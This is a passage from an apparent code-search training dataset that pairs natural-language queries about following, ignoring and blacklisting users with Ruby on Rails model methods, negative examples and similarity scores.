] |
[
"0.64728737",
"0.64692277",
"0.64584726",
"0.6456072",
"0.64487743",
"0.6421819",
"0.632577",
"0.62560505",
"0.6244611",
"0.6240858",
"0.62392986",
"0.6236118",
"0.62319285",
"0.6223601",
"0.6198454",
"0.6189721",
"0.6183044",
"0.6176503",
"0.61742806",
"0.6155702",
"0.6143645",
"0.6137788",
"0.6129595",
"0.6120982",
"0.6120982",
"0.6120982",
"0.60981005",
"0.6097221",
"0.60950226",
"0.6092344",
"0.6092344",
"0.6092344",
"0.6092344",
"0.6092344",
"0.6079739",
"0.6066148",
"0.6063504",
"0.6045748",
"0.6043297",
"0.60416883",
"0.6037737",
"0.6032842",
"0.6026298",
"0.6026174",
"0.60145056",
"0.60084015",
"0.5996649",
"0.59855336",
"0.59640205",
"0.59556895",
"0.5949675",
"0.5939874",
"0.5919389",
"0.5915678",
"0.5915573",
"0.5908261",
"0.58971703",
"0.5868093",
"0.5845979",
"0.58452195",
"0.5830963",
"0.58298355",
"0.5827961",
"0.5827872",
"0.5826082",
"0.5814618",
"0.5801007",
"0.5795416",
"0.57858837",
"0.5782206",
"0.5779895",
"0.5776399",
"0.5770595",
"0.5765592",
"0.57611984",
"0.5746081",
"0.57456386",
"0.57444143",
"0.57444143",
"0.57444143",
"0.57354814",
"0.5729671",
"0.57260585",
"0.5721161",
"0.5716461",
"0.5715916",
"0.571446",
"0.571446",
"0.5711727",
"0.5711407",
"0.57000315",
"0.56989014",
"0.56949234",
"0.5690292",
"0.5686255",
"0.5685676",
"0.56751657",
"0.56736314",
"0.56736314",
"0.56701094"
] |
0.58788997
|
57
|
subscribed is when user explicitly expressed his will to follow this user
|
def subscribed?
self.friendship_status > 0
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def subscribed?(user)\n user.subscription.subscribed==true\n end",
"def mark_subscribed!\n return unless with_states?\n\n unless user.subscribed?\n user.skip_mailchimp_callbacks = true\n user.subscribe!\n end\n end",
"def follow(user)\n user.followers << self\n end",
"def follow(user)\n user.followers << self\n self\n end",
"def following? subject\n has_event? 'follow', subject\n end",
"def follows?(user)\n user.followers.include?(self)\n end",
"def subscribing?(other_user)\n subscribing.include?(other_user)\n end",
"def follow(other_user)\n following << other_user unless self == other_user\n end",
"def follow_user(user)\n # Ternary to prevent duplicates\n following?(user) ? following : following << user\n end",
"def follow(other_user)\n following << other_user\n end",
"def follow(other_user)\n following << other_user\n end",
"def follow(other_user)\n following << other_user\n end",
"def follow(other_user)\n following << other_user\n end",
"def follow(other_user)\n following << other_user\n end",
"def follow(other_user)\n following << other_user\n end",
"def follow(user)\n user.add_follower(self)\n self\n end",
"def follow!(user)\n\t\tfollowed << user \n\tend",
"def subscribed?\n self.subscription == :subscribed\n end",
"def subscribed?\n self.type == :subscribed\n end",
"def follow!(user)\n\t\tfollowed << user\n\tend",
"def follow?(user)\n followings_users.include?(user)\n end",
"def following?(tw_user)\n following.include?(tw_user)\n end",
"def following?\n user.present?\n end",
"def follow(other_user)\n following << other_user\n end",
"def follow(user)\n self.following << user\n ActionLog.log_other(self.id, \"follow\", user) \n end",
"def handle_subscribe\n\n @user = User.find(params[:user_id])\n current_user.follow(@user)\n\n #update the subscribe button using AJAX\n respond_to do |format|\n format.js { render :file => 'users/handle_sub_unsub.js.erb' }\n end\n\n #notify the user when someone subscribes to them\n @user.notifications.create(description:\"has subscribed to your memes!\", from_user_id: current_user.id)\n\n end",
"def following?(other_user)\n followeds.include?(other_user)\n end",
"def follow(user)\n user.add_follower(self)\n self\n end",
"def follow\n if current_user\n update_and_decorate # Generate a FeedEntryDecorator as @feed_entry and prepares it for editing\n if current_user.follows? @user\n current_user_or_guest.followees.delete @user\n msg = \"You've just been unplugged from'#{@user.handle}'.\"\n else\n current_user_or_guest.followees << @user\n msg = \"You're now connected with '#{@user.handle}'.\"\n end\n current_user.save\n @user.save\n if post_resource_errors(current_user)\n render :errors\n else\n flash[:popup] = msg\n render :follow\n end\n else\n flash[:alert] = \"Sorry, you need to be logged in to follow someone.\"\n render :errors\n end\n end",
"def suscription_on?\n is_subscribed == true\n end",
"def is_subscribed_to\n scope[:current_veteran].is_subscribed_to?(object)\n end",
"def is_subscribed?(user)\n fan_channel_id_youtube = self.channel_id_youtube\n subscriber = user.subscribers.find_by(channel_id_youtube: fan_channel_id_youtube)\n sub_status = subscriber.nil? ? false : subscriber.is_subscribed # if subscriber exists in db, we show his status, else it's false anyway\n return sub_status\n end",
"def follow(other_user)\n active_follows.create(followed_id: other_user.id)\n end",
"def subscribed?\n !ended? && !unsubscribed?\n end",
"def following?(user)\n self.followings.include?(user)\n end",
"def run_callbacks\n user = @user_repository.find_or_create(@to_user_id)\n user.add_follower(@from_user_id)\n end",
"def IsSubscribed=(arg0)",
"def IsSubscribed=(arg0)",
"def follow(user)\n active_follows.create(followed_id: user.id)\n \n end",
"def following?(user)\r\n self.followings.include?(user)\r\n end",
"def user_follows \n if user_signed_in?\n Rails.logger.debug { \"The user to be followed is #{params[:id]}\" }\n user = User.find(id: params[:id])\n user.follows << current_user\n end\n end",
"def follow_user_link followed_user\n return if followed_user == current_user\n\n if current_user.followed_user_ids.include?(followed_user.id)\n internal_unfollow_user_link(followed_user)\n else\n internal_follow_user_link(followed_user)\n end\n end",
"def subscribe(user)\n return false if user == self\n if subscription = find_any_subscription_with(user)\n subscription.update_attributes(status: Subscription.statuses[:allowed])\n else\n Subscription.new(subscriber_id: user.id, user_id: self.id).save\n end\n end",
"def subscribed?\n status == 1 || status == 2\n end",
"def follow(user)\n active_relationships.create(followed_id: user.id)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def follow(user_id)\n if self.id != user_id && active_follow.find_by(following_id: user_id) == nil\n active_follow.create!(following_id: user_id)\n end\n end",
"def followers?\n following?\n end",
"def subscribed_by?(user)\n subscriptions.where(user: user).any?\n end",
"def subscribed_by?(user)\n subscriptions.where(user: user).any?\n end",
"def subscribe\n self.subscribed = true\n end",
"def following?(other_user)\n following.include?(other_user) \n end",
"def following?(user)\n following.include?(user)\n end",
"def following?(user)\n following.include? user\n end",
"def needs_followup?\n followup_note_count && followup_note_count > 0\n end",
"def following?(other_user)\n \tfollowing.include?(other_user)\n \tend",
"def following?(other_user)\n \tfollowing.include?(other_user)\n \tend",
"def followUser(userToFollow)\n @followers << userToFollow\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def subscribed_on_comments? user\n s = subscription_on_comments user\n if s\n return s.subscribed?\n else\n false\n end\n end",
"def following?(other_user)\nfollowing.include?(other_user)\nend",
"def subscribe_owner\n\t subscription = owner.subscribe_to(activity_feed)\n\t subscription.save\n\t end",
"def following_user?(other_user)\n following.include?(other_user)\n end",
"def follows_given(user_id)\n follows = Follow.where(user_id: user_id)\n end",
"def following?(user)\n\tself.followed_users.exists?(user.id)\nend",
"def following?( other_user )\n followings.include?( other_user )\n end",
"def follow(other_user)\n active_relationships.create(following_id: other_user.id)\n end",
"def subscribed?\n if root_object?\n plan&.subscribed? ||\n (!self_owned? && owners.any?(&:subscribed_plan?)) ||\n super\n else\n root_object.subscribed?\n end\n end",
"def following?(other_user)\n following.include?(other_user)\nend",
"def following? (other_user)\n following.include?(other_user)\n end",
"def followed_by?(user)\n $redis.sismember(self.redis_key(:followers), user.id)\n end",
"def follow(user)\n\t self[:following].push(user.id)\n\t\tself.save\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n self.following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end",
"def following?(other_user)\n following.include?(other_user)\n end"
] |
[
"0.71816015",
"0.6967649",
"0.6736481",
"0.6670906",
"0.6601106",
"0.6584293",
"0.65720105",
"0.654041",
"0.6488488",
"0.6487327",
"0.6487327",
"0.6487327",
"0.6487327",
"0.6487327",
"0.6487327",
"0.6474473",
"0.6469568",
"0.6453783",
"0.64322865",
"0.6429612",
"0.6425425",
"0.63901615",
"0.63540936",
"0.6337389",
"0.63364035",
"0.6331881",
"0.62895656",
"0.62626565",
"0.6248246",
"0.6234083",
"0.6225987",
"0.6214086",
"0.6210444",
"0.6208955",
"0.6195515",
"0.6184169",
"0.61750555",
"0.61750555",
"0.61723894",
"0.6165057",
"0.61510456",
"0.61385614",
"0.613854",
"0.613707",
"0.6136949",
"0.6135409",
"0.61328626",
"0.6132809",
"0.613109",
"0.613109",
"0.6130601",
"0.6130333",
"0.61282414",
"0.6121051",
"0.61151564",
"0.6111136",
"0.6111136",
"0.6091786",
"0.60879236",
"0.60836154",
"0.6081032",
"0.60806704",
"0.607669",
"0.6066821",
"0.60661995",
"0.6061943",
"0.6059514",
"0.6051281",
"0.60490435",
"0.60447353",
"0.6040463",
"0.60391414",
"0.60370016",
"0.6029941",
"0.60290885",
"0.60290885",
"0.60290885",
"0.60290885",
"0.60290885",
"0.60290885",
"0.60290885",
"0.60290885",
"0.60290885",
"0.60290885",
"0.60290885",
"0.60290885",
"0.60290885",
"0.60290885",
"0.60290885",
"0.60290885",
"0.60290885",
"0.60290885",
"0.60290885",
"0.60290885",
"0.60290885",
"0.60290885",
"0.60290885",
"0.60290885",
"0.60290885",
"0.60290885"
] |
0.67814076
|
2
|
when user explicitly put this relationship in ignored list
|
def ignored?
self.friendship_status == IGNORED
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def ignore_user(user)\n @ignored_ids << user.resolve_id\n end",
"def ignore_user(user)\n @ignored_ids << user.resolve_id\n end",
"def update_ignores\n @ignore_users |= WhitelistedUser.all.map(&:user_id)\n end",
"def ignore(other) \n\trelationship = get_relationship(other)\n\t\n\tif relationship && relationship.friend_status == \"PENDING\" && relationship.followed_id == self.id\t\n\t\trelationship.friend_status = \"IGNORED\"\n\t\t\n\t\treturn relationship.save\n\tend\n\t\n\treturn false\n end",
"def ignore!\n self.ignored = true\n end",
"def belongs_blocked\n end",
"def ignored_associations\n %w().freeze\n end",
"def ignore\n @ignore = true\n end",
"def ignore\n @ignored = true\n self\n end",
"def ignore\n @ignore = true\n end",
"def ignore_incoming_cascade_delete?(relationship) # :nodoc:\n # ignore relationship with property _cascade_delete_incoming\n relationship.property?(:_cascade_delete_incoming)\n end",
"def ignored?(other)\n\trelationship = get_relationship(other)\n\t\n\treturn relationship && relationship.friend_status == \"IGNORED\"\n end",
"def ignored_association?(association)\n ignored_associations.include? association.to_sym\n end",
"def enduser_ignored?\n true\n end",
"def ignored\n ignores.map {|ignore| ignore.ignoreable}\n end",
"def ignored?(user)\n @ignored_ids.include?(user.resolve_id)\n end",
"def ignored?(user)\n @ignored_ids.include?(user.resolve_id)\n end",
"def ignore_parent_exclusion; end",
"def ignore!\n @should_ignore = true\n end",
"def ignore_associations(*associations)\n ignored_associations.concat associations.flatten.compact.collect(&:to_sym)\n ignored_associations.uniq!\n end",
"def exclude_from_model\n []\n end",
"def ignore_parent_exclusion?; end",
"def handle_ignored\n if @note.ignore == true\n raise ActiveRecord::RecordNotFound\n end\n end",
"def ignored?\n @ignored\n end",
"def ignore\n @ignore ||= []\n end",
"def ignored_for(klass)\n klass.to_s.classify.constantize.find ignores_for(klass).map(&:ignoreable_id)\n end",
"def ignored?()\n #This is a stub, used for indexing\n end",
"def ignore!()\n self.status = Invite::Status::IGNORED\n invitable.remove_member invitee\n save!\n end",
"def check_unused_preload_associations; end",
"def ignore_associated_types\n [Strain, Organism, HumanDisease]\n end",
"def ignore_enduser\n record_api_supportability_metric(:ignore_enduser)\n NewRelic::Agent::Transaction.tl_current&.ignore_enduser!\n end",
"def excluded; end",
"def ignored(job)\n @processed_job_ids << job.job_id\n end",
"def ignored?(object)\n ignores.exists?(:ignoreable_id => object.id, :ignoreable_type => object.class.to_s)\n end",
"def active_dependents_exclude_self\n active_dependents.where.not(id: id)\n end",
"def dont_care\n each(&:dont_care)\n myself\n end",
"def dependents_exclude_self\n dependents.where.not(id: id)\n end",
"def unignore(object)\n true if ignores.where(:ignoreable_id => object.id, :ignoreable_type => object.class.to_s).first.try(:destroy)\n end",
"def unignore_user(user)\n @ignored_ids.delete(user.resolve_id)\n end",
"def unignore_user(user)\n @ignored_ids.delete(user.resolve_id)\n end",
"def ignore_request(_team, _user)\n # stub\n end",
"def maybe_suppress\n val = !has_active_linked_records?\n self.set_suppressed(val)\n\n val\n end",
"def apply_orphan_strategy\n true\n end",
"def apply_orphan_strategy\n true\n end",
"def ignores_list\n @ignores ||= \"\"\n end",
"def not_followed_by(other)\n to_unbound_task_predicate\n .not_followed_by(other.to_unbound_task_predicate)\n end",
"def ignored_properties\n super(%i[lock site_id])\n end",
"def unused_preload_associations_for?(klass, association)\n Bullet.collected_unused_eager_association_notifications.select do |notification|\n notification.base_class == klass.to_s && notification.associations.include?(association)\n end.present?\n end",
"def exclude\n [exceptions, self.class.exclude_always, foreign_key, polymorphic_type].flatten.uniq\n end",
"def collect!\n super { |r| relate_resource(yield(orphan_resource(r))) }\n end",
"def exclude_pending_create_attribute?(obj, prop)\n prop.type < Annotation or super\n end",
"def ignore; end",
"def ignore_attributes\n read_inheritable_attribute(:attr_ignore) || []\n end",
"def ignored\n @ignored ||= []\n @ignored.map(&:to_s)\n end",
"def non_relationship_custom_fields\n custom_fields_recipe['rules'].find_all do |rule|\n !%w[belongs_to has_many many_to_many].include?(rule['type'])\n end\n end",
"def ignored?\n !!ignored\n end",
"def insert_ignore\n insert_conflict\n end",
"def eligible_owners\n User.where('users.id != ?', @cookbook.user_id)\n end",
"def stores_foreign_key?; false; end",
"def stores_foreign_key?; false; end",
"def ignore_orphan_files_from(paths_to_ignore)\n @ignored_orphan_files_paths << {\n ignored_paths: paths_to_ignore.is_a?(Array) ? paths_to_ignore : [paths_to_ignore],\n nodes_selectors_stack: current_nodes_selectors_stack\n }\n end",
"def excluded\n @ancestors - @picked\n end",
"def ignore?\n @should_ignore\n end",
"def remove_relation\n relation_scope.where.not(@id_key => remote_objects_ids)\n end",
"def exclude; end",
"def reject_related(rel, ignore: [], &blk)\n reject_embedded(rel, ignore: ignore, &blk).reject_links(rel, ignore: ignore, &blk)\n end",
"def ignore!\n @active = false\n self\n end",
"def unmarked_employees\n self.workplace.employees.where.not(id: self.employees.map(&:id))\n end",
"def inhibited\n Issue.find_by_sql \"\n select id, title, permalink, wiki_url\n from issues\n where id in (\n select issue_id\n from relationships\n where cause_id = #{id} AND relationship_type = 'I')\"\n end",
"def ignore_suggested_following(_user_id)\n follow_suggestions.where(user_id: _user_id).delete_all\n rejected_follow_suggestions.create(user_id: _user_id)\n end",
"def ignore_parent_exclusion=(_arg0); end",
"def ignored_tracked_fields\n @ignored_tracked_fields ||= HistoryTracker.ignored_tracked_fields\n end",
"def relation_none(model)\n validate_model(model)\n model.none\n end",
"def ignored(job)\n @last_job_id = job.job_id\n end",
"def ignore(*ids); end",
"def ignore(value = true)\n @ignore = value\n end",
"def ignore(value = true)\n @ignore = value\n end",
"def excluded_models; %w[Tenant] end",
"def pending_relations\n @pending_relations ||= {}\n end",
"def unused_preload_associations_for?(klazz, association)\n unused_preload_associations[klazz].present? && unused_preload_associations[klazz].include?(association)\n end",
"def freeze\n @touched_associations.freeze\n\n super\n end",
"def reject!\n super { |r| yield(r) && orphan_resource(r) }\n end",
"def set_unwanted\n @unwanted = Unwanted.find(params[:id])\n end",
"def ignores; end",
"def clear_ignores!\n @ignored = Array.new\n end",
"def ignored_merge_attributes\n IGNORED_ATTRIBUTES\n end",
"def mark_as_unimportant(participant)\n return unless participant\n self.receipts.recipient(participant).mark_as_unimportant\n end",
"def unappliable?\n !order_item.order.user || !referrer\n end",
"def add_disallow_flag_to_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.add_disallow_flag! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n end",
"def pending\n pending_friends | inverse_pending_friends\n end",
"def owners_included; end",
"def ensure_owner_attends\n attendees << user unless attendees.include? user\n end",
"def do_without_hydrogens(&block)\n _obmol = @ob.get_parent\n had_hydrogens = _obmol.has_hydrogens_added\n _obmol.delete_hydrogens(self.ob) if had_hydrogens\n reply = block.call(had_hydrogens)\n _obmol.add_hydrogens(self.ob) if had_hydrogens\n reply\n end",
"def inverse_class\n ManyToOne::Relationship\n end",
"def inverse_class\n ManyToOne::Relationship\n end",
"def own!(owned)\r\n master_song_relationships.create!(:owned_id => owned.id)\r\n end",
"def on_engine_ignored_subscription(e, who)\n pre = '<Engine>'\n @log.info(\"#{pre} IGNORED: #{who} (subscription)\")\n end",
"def allowed_to_destroy \n allowed_to_save\n end",
"def skip_deletion\n @mark_for_delete = false\n end",
"def mark_as_not_deleted\n update_attributes(deleted: false)\n end"
] |
[
"0.6539075",
"0.6539075",
"0.6468529",
"0.64467853",
"0.64066225",
"0.6405407",
"0.634686",
"0.63161165",
"0.626644",
"0.6264379",
"0.6182636",
"0.6177682",
"0.61704135",
"0.6018412",
"0.6016715",
"0.601451",
"0.601451",
"0.599538",
"0.59466827",
"0.5938011",
"0.59263134",
"0.58781725",
"0.58760554",
"0.58634657",
"0.5852354",
"0.5811888",
"0.5809449",
"0.57739383",
"0.57643926",
"0.57514805",
"0.57433677",
"0.5729636",
"0.56876385",
"0.56644404",
"0.5661099",
"0.5624552",
"0.5624118",
"0.5605572",
"0.55842847",
"0.55842847",
"0.55625176",
"0.5557798",
"0.555128",
"0.555128",
"0.5544779",
"0.55436146",
"0.552277",
"0.5512797",
"0.5505659",
"0.5492376",
"0.54770875",
"0.54736763",
"0.54685396",
"0.5464028",
"0.5462692",
"0.5454462",
"0.54519695",
"0.54441446",
"0.54412067",
"0.54412067",
"0.5436979",
"0.5432766",
"0.5424217",
"0.54193246",
"0.5418715",
"0.5399081",
"0.53970337",
"0.5390627",
"0.5387065",
"0.5379559",
"0.537452",
"0.5373535",
"0.53704065",
"0.53701186",
"0.5360759",
"0.53506243",
"0.53506243",
"0.53391916",
"0.533794",
"0.5287592",
"0.5285658",
"0.52852565",
"0.5281811",
"0.52793974",
"0.5278043",
"0.5276873",
"0.5270894",
"0.5264883",
"0.5257958",
"0.5252637",
"0.52499473",
"0.52412254",
"0.5218354",
"0.5217592",
"0.5217592",
"0.52138925",
"0.52037203",
"0.5202433",
"0.519652",
"0.519583"
] |
0.59087896
|
21
|
when user explicitly put this relationship into blacklist
|
def blacklisted?
self.friendship_status == BLACKLISTED
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def belongs_blocked\n end",
"def set_blacklist\n @blacklist = Blacklist.find(params[:id])\n end",
"def can_be_blacklisted_by?(user)\n user && user.id != self.user.id # && !user.all_friend_ids.include?(self.user.id)\n end",
"def is_blacklisted_for?(user)\n user && user.id != self.id && self.is_premium? && self.blacklist_ids.include?(user.id)\n end",
"def update_ignores\n @ignore_users |= WhitelistedUser.all.map(&:user_id)\n end",
"def ban!\n self.update_attribute(:banned, true)\n end",
"def can_be_blacklisted?\n !self.blacklisted?\n end",
"def ignore(other) \n\trelationship = get_relationship(other)\n\t\n\tif relationship && relationship.friend_status == \"PENDING\" && relationship.followed_id == self.id\t\n\t\trelationship.friend_status = \"IGNORED\"\n\t\t\n\t\treturn relationship.save\n\tend\n\t\n\treturn false\n end",
"def unban\n self.enabled = true\n save\n end",
"def deny\n self.granted = -1\n restaurant = Restaurant.find(self.restaurant_id)\n restaurant.mark_collaborative\n end",
"def unban!\n self.update_attribute(:banned, false)\n end",
"def reverse_blocked(user)\n Subscription.where(:subscriber_id => self.id, :user_id => user.id).first\n end",
"def create_blocked\n end",
"def grant_achievement_for_booth_visit_without_notification(user)\n if BOOTH_VISIT_ACHIEVEMENT_ENABLED && request.remote_ip.starts_with?(BOOTH_VISIT_REMOTE_IP)\n achievement = Achievement.find(BOOTH_VISIT_ACHIEVEMENT_ID)\n if !user.achievements.include?achievement\n user.achievements << achievement\n end\n end\n end",
"def user_blocked\n @company = Company.find(params[:company_id])\n end",
"def blacklist_params\n params.require(:blacklist).permit(:email, :comment)\n end",
"def get_blacklist\n return FavouriteGroup.find(:first, :conditions => { :user_id => self.id, :name => FavouriteGroup::BLACKLIST_NAME } )\n end",
"def ignore!()\n self.status = Invite::Status::IGNORED\n invitable.remove_member invitee\n save!\n end",
"def block!\n self.update_attribute(:status, ConfigCenter::User::BLOCKED)\n end",
"def block!\n self.update_attribute(:blocked, true)\n end",
"def blocked_user\n is_blocked = false \n\n if params[:id]\n @user = User.find(params[:id])\n\n for r in current_user.inverse_relationships\n if r.usergroup.name == \"Blocked Users\" && r.user.id == @user.id \n is_blocked = true \n break \n end \n end \n end\n\n if is_blocked\n flash[:info] = \"This user has chosen to keep their profile hidden.\"\n redirect_to login_path \n end \n end",
"def blocked_user_ids\n Rails.cache.fetch(\"blocked_user_ids_#{id}\", expires_in: 1.month.from_now) do\n blocked_users_relationships.pluck(:user_id)\n end\n end",
"def ignore_user(user)\n @ignored_ids << user.resolve_id\n end",
"def ignore_user(user)\n @ignored_ids << user.resolve_id\n end",
"def blacklist_add_remote\n if params[:item] and params[:item] != ''\n i = Blacklist.new(:item => params[:item], :created_at => Time.sl_local)\n i.save\n # add this to the cache if it exists\n Blacklist.add_to_cache(i) if Blacklist.cache.length > 0\n end\n render :nothing => true\n end",
"def unfollow(actor)\n contact = contact_to!(actor)\n contact.update_column(:blocked, true)\n contact\n end",
"def blocked\n self.reload\n self.blockades + self.blockades_by\n end",
"def block!\n self.blocked = Time.now\n self.save\n end",
"def deny\n self.status = 'denied'\n save\n end",
"def delete_blocked\n end",
"def block!(user)\n User.transaction do\n subscriptions = Subscription.where(:subscriber_id => user.id, :publisher_id => self.id)\n subscriptions.destroy_all\n \n new_blocking = Blocking.new\n new_blocking.requesting_user = self.id\n new_blocking.blocked_user = user.id\n new_blocking.save!\n end\n end",
"def accept_friend(other_user)\n relationship = self.get_relationship(other_user)\n \n\tif relationship && (relationship.friend_status == \"PENDING\" || relationship.friend_status == \"IGNORED\") && relationship.followed_id == self.id\n\t\trelationship.friend_status = \"FRIENDS\"\n\t\trelationship.follow1 = true\n\t\trelationship.follow2 = true\n\t\t\n\t\trelationship.save\n\tend\n end",
"def company_blocked\n @company = Company.find(params[:company_id])\n end",
"def blacklist(ip)\n send_req({a: :ban, key: ip})\n end",
"def block(user)\n return false if user == self\n if subscription = find_any_subscription_with(user)\n subscription.update_attributes(status: Subscription.statuses[:blocked])\n else\n Subscription.new(subscriber_id: user.id, user_id: self.id, status: Subscription.statuses[:blocked]).save\n end\n end",
"def reject_user\n # set the enabled flag to false for the user\n # clear activation code (prevents user from showing up as pending user)\n # send out rejection notification\n end",
"def confirm_relationship(user, label)\n return false if user.nil? or user == self\n\n edge = self.edges.select { |edge| edge.origin == user and edge.label == label }.first\n\n unless edge.nil? \n edge.active = true\n return edge.save\n end\n\n return false\n end",
"def unblock!\n self.blocked = nil\n self.save\n end",
"def mark_confirmed\n Rails.logger.info(\"user_kyc_whitelist_log - #{self.id} - Changing status to confirmed\")\n self.status = GlobalConstant::KycWhitelistLog.confirmed_status\n self.save! if self.changed?\n end",
"def block_user!(_user)\n _user = User.find(_user) unless _user.is_a? User\n blocked_users_relationships.where(user_id: _user.id).first_or_create!\n # delete information with blocked user\n friendship_with(_user.id).destroy_all # delete friendship\n ignore_suggested_friend(_user.id) # ignore friends suggestions\n unfollow(_user) # delete following\n unfollowed(_user) # cancel follower\n Conversation.get_single_conversation(id, _user.id).try(:destroy) # remove 1 to 1 conversation\n _user.refresh_cache && refresh_cache\n end",
"def ignored?\n self.friendship_status == IGNORED\n end",
"def reject\n self.update_attributes(:status => REJECTED)\n end",
"def ignore_suggested_friend(_user_id)\n rejected_friend_suggestions.create!(user_id: _user_id)\n friend_suggestions.where(user_id: _user_id).delete_all\n end",
"def make_banned!(ban_ip = false)\n contents.make_hidden!\n shares.make_hidden!\n add_role :banned\n Setting.add_blacklist_ips([current_sign_in_ip, last_sign_in_ip]) if ban_ip\n reset_cache('banned-user-ids')\n end",
"def trust(other)\n active_relationships.create(trusted_by_id: other.id)\n end",
"def ignore_suggested_following(_user_id)\n follow_suggestions.where(user_id: _user_id).delete_all\n rejected_follow_suggestions.create(user_id: _user_id)\n end",
"def friending(a_user)\n # self.push_uniq(:attendees => a_user.id)\n friendship_ids << a_user.id\n save\n end",
"def ban!\n MTurkUtils.ban_user self\n end",
"def blocked?\n !actor.likes?(activity_object)\n end",
"def migrate_blacklists(normalized_antecedent, normalized_consequent)\n query = normalized_antecedent\n adds = normalized_consequent\n arel = query.inject(User.none) do |scope, x|\n scope.or(User.where_like(:blacklisted_tags, \"*#{x}*\"))\n end\n\n arel.find_each do |user|\n changed = false\n\n begin\n repl = user.blacklisted_tags.split(/\\r\\n|\\r|\\n/).map do |line|\n list = Tag.scan_tags(line)\n\n if (list & query).size != query.size\n next line\n end\n\n changed = true\n (list - query + adds).join(\" \")\n end\n\n if changed\n user.update(blacklisted_tags: repl.join(\"\\n\"))\n end\n rescue Exception => e\n DanbooruLogger.log(e)\n end\n end\n end",
"def ensure_not_blacklisted(channel, nick)\n return if not @blacklist[channel].is_a?(Array)\n @blacklist[channel].delete(nick)\n end",
"def in_blacklist?(chan)\n @blackList.include?(chan.downcase) if blacklist?\n end",
"def blocked\n blocked_ids = blocked_friend_ids + blocked_inverse_friend_ids + blocked_pending_inverse_friend_ids\n self.class.find(blocked_ids)\n end",
"def accept_request(other_user)\n\t\treceived_relationships.find_by(friend_active_id: other_user.id).update_attribute(:accepted, true)\n\tend",
"def set_whitelist_follower\n @whitelist_follower = WhitelistFollower.find(params[:id])\n end",
"def blocked?\n actor.likes?(activity_object)\n end",
"def add_bobchild_reationships(bobchildren_ids)\n bobchildren_ids.each do |child_id|\n u = User.find(child_id)\n if u.has_bobfather?\n # This is A CONFIRMATION of the bobfatherhood \n if ( (u.bobfather == self) and \n (u.bobfather_rel[:state] == PROPOSED_BY_CHILD) )\n u.bobfather_rel[:state] = CONFIRMED\n end\n # if u.bobfather != self DO NOTHING b/c da child has ownship of \n # WHO IS MY BOBFATHER \n else\n u.bobfather = self \n # do state machine\n u.bobfather_rel[:state] = PROPOSED_BY_FATHER\n end\n u.save\n end\n end",
"def blocked\n @user = User.find(params[:id])\n @user.block!\n redirect_to dashboard_listing_path\n end",
"def allowed_to_destroy \n allowed_to_save\n end",
"def remove_from_blacklist *list\n @blacklist = @blacklist - TinyPng::Path.get_all(list)\n end",
"def pending_friends\n \tself.passive_relationships.where(status_flag: 0)\n end",
"def blocked\n @user = current_user\n @blockedUsers = current_user.blocks\n\n end",
"def is_unblockable_by(another_user)\n return false unless is_associated_to_somebody_else_than(another_user)\n\n existing_friendship = @swimmer.associated_user.find_any_friendship_with(another_user)\n !!(\n existing_friendship &&\n existing_friendship.can_unblock?(another_user)\n )\n end",
"def deny_user(user_id)\n create_entry(user_id, USER, false)\n end",
"def pending\n pending_friends | inverse_pending_friends\n end",
"def deny(connectee_id)\n\t\tif connectee_id == self.connectee1_id.to_s\n\t\t\tself.connectee1_accepted = false\n\t\telsif connectee_id == self.connectee2_id.to_s\n\t\t\tself.connectee2_accepted = false\n\t\tend\n\t\tself.save\n\tend",
"def user_id_denylist\n # Cast for Steep\n _ = @options[:user_id_denylist] || []\n end",
"def approve(user)\n return false unless pending_inverse_friend_ids.include?(user.id) && user.pending_friend_ids.include?(self.id)\n pending_inverse_friend_ids.delete(user.id)\n user.pending_friend_ids.delete(self.id)\n inverse_friend_ids << user.id\n user.friend_ids << self.id\n self.save && user.save\n end",
"def act_authorized_with_blacklist?(instance, msg)\n result = act_authorized_without_blacklist?(instance, msg)\n return result unless msg.element.is_a? Linael::Irc::Privmsg\n mod = mod(instance.class::Name)\n result &= !mod.in_blacklist?(msg.place)\n result &= mod.in_whitelist?(msg.place)\n result\n end",
"def bluetooth_blocked=(value)\n @bluetooth_blocked = value\n end",
"def disallowable\n return @disallowable if @disallowable\n\n @disallowable = parent_disallowables\n end",
"def set_friendship\n end",
"def deny!(kind, name, attributes = {})\n deny(kind, name, attributes).save\n end",
"def add_user_ban(data); end",
"def add_user_ban(data); end",
"def deny()\n if update_attributes({:level => Membership::LEVELS[:denied]})\n true\n else\n reload\n false\n end\n end",
"def blacklisted_value\n 'blacklisted'\n end",
"def ignored?(other)\n\trelationship = get_relationship(other)\n\t\n\treturn relationship && relationship.friend_status == \"IGNORED\"\n end",
